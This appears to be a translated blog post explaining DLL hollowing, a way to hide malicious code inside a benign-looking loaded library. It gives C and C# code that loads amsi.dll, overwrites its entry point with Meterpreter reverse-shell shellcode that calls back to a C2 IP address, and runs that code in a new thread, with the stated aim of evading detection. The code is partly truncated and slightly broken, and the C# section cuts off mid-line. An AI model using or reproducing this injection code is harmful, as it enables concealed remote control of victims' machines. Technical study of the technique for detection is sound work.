Combining ppid deception and far-thread injection to achieve DLL hollowing

0 20
Parsing of DLL Hollowing technologyExploring hollowing technology, the focus is...

Parsing of DLL Hollowing technology

Exploring hollowing technology, the focus is on DLL Hollowing(DLL hollowing). Unlike process hollowing technology, DLL Hollowing allows the target process to load a new DLL and then overwrite part of the DLL's content with malicious code to achieve concealed execution of malicious code.

Principle

DLL HollowingIt is a code injection technique where the attacker injects malicious code into the memory space of the current process or a remote process by loading a new DLL and overwriting part of its code.
The main goal of this method is to avoid easy analysis and detection of malicious code. For example, when the defender simply checks the file system, the loaded DLL and the process appear to be benign, without any obvious anomalies.

DLL Hollowing in the current process

  1. Combining ppid deception and far-thread injection to achieve DLL hollowing

    Load the target DLL
    an executable file (for exampleA.exe) is started, it will attempt to load the target DLL into its own memory space. This is usually done throughLoadLibraryand other API implementations.

  2. Parsing DLL header
    After loading the DLL, the program parses the header information of the DLL to locate the injection position. Usually, after the entry point (DllMain)is the target location for injecting malicious code.

  3. Overwrite the entry point
    The program overwrites the malicious code to the entry point of the target DLL, thus controlling the execution logic of the DLL.

  4. Start a malicious thread
    After the overwrite is complete, the program will create a new thread that executes from the malicious code as the starting point.

Below is a list of libraries loaded into the process before and after injection.amsi.dllIs the newly loaded target library.

image.png

image.png

The original entry point of amsi.dll:

image.png

The entry point overwritten by the malicious code:

image.png

Used for obfuscating the Meterpreter Shellcode to overwrite the entry point.

image.png

DLL Hollowing in the remote process

  1. Create a remote process
    The program first creates a remote process (such asNotepad.exe),and obtain the handle of the process.

  2. Load the target DLL
    Use the process handle to indicate that the remote process loads the target DLL.

  3. Traverse loaded modules
    The program traverses the remote process modules loaded, obtaining the memory address of the target DLL.

  4. Overwrite the entry point
    Similar to the first method, by parsing the DLL header, the program locates and overwrites the entry point, injecting malicious code into the DLL.

  5. Start a remote thread
    Once the overwrite is complete, the program will start a remote thread, with the entry point pointing to the overwritten malicious code.

The default DLL list of Notepad

image.png

Load maliciousamsi.dllThe DLL list after.

image.png

DLL Hollowing provides a means to conceal malicious code and hide execution behavior. Similar to other injection techniques, it can bypass simple defense measures, such as detection based on the parent-child process relationship.
Since the malicious code runs in a seemingly normal process and loads a benign DLL, initial checks are likely to overlook these anomalies. Even with in-depth analysis, it may take additional time to discover its true intent.

Code demonstration

C code implementation

In the C code example, the program loads the target DLL, writes malicious code to the DLL entry point, and creates a new thread to execute the malicious code.

Key process

  • Load the target DLL
    Use LoadLibrary to load the target DLL (default is amsi.dll) and return its memory address. If loading fails, the program exits.

  • Parse the DLL entry point
    By parsing the MZ and PE headers, locate the DLL entry point address. This is the target address for overwriting malicious code.

  • Overwrite the entry point
    Modify the memory permissions of the DLL entry point to read and write, write malicious code and then restore memory permissions.

  • Create a new thread
    Use CreateThread to start a thread and execute the injected malicious code from the DLL entry point.

int main(int args, char *argc[]) {
    char dllName[256] = {};

    // Check command line arguments and set default DLL name
    if (args != 2) {
        printf("Usage:: dll_hollowing.exe <dll name>\n");
        memcpy(dllName, "amsi.dll", 9);
    }
        memcpy(dllName, argc[1], strlen(argc[1]));
    }

    printf("C2 IP:\t\t192.168.200.220\nDll Name:\t%s\n", dllName);

    // Decoding and copying of Meterpreter reverse shellcode
    unsigned char buff[] = "\xfc\x48\x83\xe4\xf0\xe8\xc0\x00...";
    int encoded_size = sizeof(buff);
    unsigned char *buf = (unsigned char *)malloc(encoded_size);
    memset(buf, 0, encoded_size);
    memcpy(buf, buff, encoded_size);

    // Load the target DLL
    DWORD saveProtect = 0;
    HMODULE hTargetDLL = LoadLibrary(dllName);
    if (hTargetDLL == NULL) {
        printf("[!] LoadLibrary failed to load %s\n", dllName);
        return 0;
    }

    // Parse the DLL entry point
    PIMAGE_DOS_HEADER mzHeader = (PIMAGE_DOS_HEADER)hTargetDLL;
    PIMAGE_NT_HEADERS peHeader = (PIMAGE_NT_HEADERS)((char *)hTargetDLL + mzHeader->e_lfanew);
    void *entryPointDLL = (void *)((char *)hTargetDLL + peHeader->OptionalHeader.AddressOfEntryPoint);
    printf("%s DLL entrypoint address is (%p)\n", dllName, entryPointDLL);

    // Modify memory permissions and overwrite the entry point
    VirtualProtect(entryPointDLL, encoded_size, PAGE_READWRITE, &saveProtect);
    memcpy(entryPointDLL, buf, encoded_size);
    VirtualProtect(entryPointDLL, encoded_size, saveProtect, &saveProtect);

    // Create a thread to execute malicious code
    CreateThread(0, 0, (LPTHREAD_START_ROUTINE)entryPointDLL, NULL, 0, 0);
    printf("Thread Created\n");

    // Wait for exit command
    while (true) {
        if (getchar() == 'q') {
            printf("Received an exit command\n");
            break;
        }
    }

    printf("Exiting\n");
    return 1;
}

C# code implementation

The C# code implementation is similar to the C code operation, but it introduces more utility classes (such as Win32) to operate DLL loading and memory operations. Its process is more readable and supports command line parameters to dynamically set the target DLL and C2 IP.

Key process

  • Parse command line arguments
    Get the target DLL name and C2 IP address through the command line, if no parameters are provided, use the default value.

  • Process the malicious shellcode
    Decode the malicious shellcode and dynamically replace the C2 IP address in it with the value provided by the user.

  • Load the target DLL
    Use LoadLibrary to load the target DLL and parse its entry point.

  • Overwrite the entry point
    Modify the memory permissions of the entry point to read and write, write the malicious code, and restore memory permissions.

  • Start a thread to execute malicious code
    Use CreateThread to start a thread and execute malicious code from the overridden entry point.

unsafe class Program {
    static void Main(string[] args) {
        // Parse command line arguments
        string c2_ips = args.Length >= 2 ? args[0] : "192.168.49.115";
        string dll_name = args.Length >= 2 ? args[1] : "amsi.dll";
        Console.WriteLine("[*] Using C2 IP: {0}, DLL Name: {1}", c2_ips, dll_name);

        // Process the shellcode
        byte[] encoded = new byte[460] { /* Shellcode */ };
        byte[] buf = DecodeShellcode(encoded, c2_ips);

        // Load the target DLL
        IntPtr hTargetDLL = Utility.Win32.LoadLibrary(dll_name);
        if (hTargetDLL == IntPtr.Zero) {
            Console.WriteLine("[!] LoadLibrary failed to load {0}", dll_name);
            return;
        }

        Console.WriteLine("[*] {0} Base Address: 0x{1:X}", dll_name, (long)hTargetDLL);

        // Parse the DLL entry point
        Utility.Win32.IMAGE_DOS_HEADER* mzHeader = (Utility.Win32.IMAGE_DOS_HEADER*)hTargetDLL.ToPointer();
        Utility.Win32.IMAGE_NT_HEADERS64* peHeader = (Utility.Win32.IMAGE_NT_HEADERS64*)((long)mzHeader + mzHeader->e_lfanew);
        IntPtr addressOfEntryPoint = new IntPtr((long)mzHeader + peHeader->OptionalHeader.AddressOfEntryPoint);

        Console.WriteLine("[*] {0} EntryPoint Address: 0x{1:X}", dll_name, (long)addressOfEntryPoint);

        /
你可能想看:
最后修改时间:
admin
上一篇 2025年03月28日 00:12
下一篇 2025年03月28日 00:35

评论已关闭